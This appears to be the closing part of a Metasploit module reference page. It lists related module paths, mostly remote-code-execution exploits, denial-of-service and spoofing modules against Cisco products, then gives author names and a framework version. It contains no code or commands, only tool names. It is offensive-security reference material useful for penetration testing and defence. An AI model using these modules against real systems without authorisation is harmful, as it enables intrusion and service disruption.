- exploit/linux/http/cisco_rv_series_authbypass_and_rce
- exploit/linux/http/cisco_ucs_rce
- exploit/linux/misc/cisco_rv340_sslvpn
- exploit/linux/ssh/cisco_ucs_scpuser
- exploit/multi/http/cisco_dcnm_upload
- exploit/multi/http/cisco_dcnm_upload_2019
- exploit/windows/browser/cisco_anyconnect_exec
- exploit/windows/browser/cisco_playerpt_setsource
- exploit/windows/browser/cisco_playerpt_setsource_surl
- exploit/windows/browser/cisco_webex_ext
- auxiliary/dos/cisco/cisco_7937g_dos
- auxiliary/dos/cisco/cisco_7937g_dos_reboot
- auxiliary/dos/cisco/ios_http_percentpercent
- auxiliary/dos/cisco/ios_telnet_rocem
- auxiliary/spoof/cisco/cdp
- auxiliary/spoof/cisco/dtp
- exploit/linux/http/cve_2019_1663_cisco_rmi_rce
- exploit/multi/script/web_delivery
Related Nessus plugins:
Authors
- mr_me
- wvu
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.